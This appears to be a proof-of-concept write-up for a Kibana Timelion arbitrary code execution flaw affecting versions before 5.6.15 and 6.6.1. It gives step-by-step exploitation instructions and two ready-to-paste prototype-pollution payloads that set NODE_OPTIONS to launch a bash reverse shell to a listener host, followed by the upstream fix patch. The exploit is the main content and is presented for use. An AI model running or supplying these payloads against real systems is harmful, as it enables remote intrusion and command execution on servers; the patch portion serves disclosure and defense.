Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
Found by @securityMB
Note: I've tested this attack on Kibana 6.6.0 but it was no working... on my side only version of Kibana < 6.6.0 are vulnerable as explain by @securityMB
EDIT 20/12/2019 : if Canvas panel is not accessible, just check this writeup from @Synacktiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html
- Open Kibana
- Past one of the following payload into the Timelion visualizer
- Click run
- On the left panel click on Canvas
- Your reverse shell should pop ! :)
- payload by @securityMB
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')- payload by @chybeta
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')Detailed analysis (english):
Security advisory:
https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes
---
.../core_plugins/timelion/server/series_functions/props.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
let prop = '';
let m;
while (m = regex.exec(p)) {
- cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+ cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
prop = m[2] || m[1];
}
cur[prop] = data[p];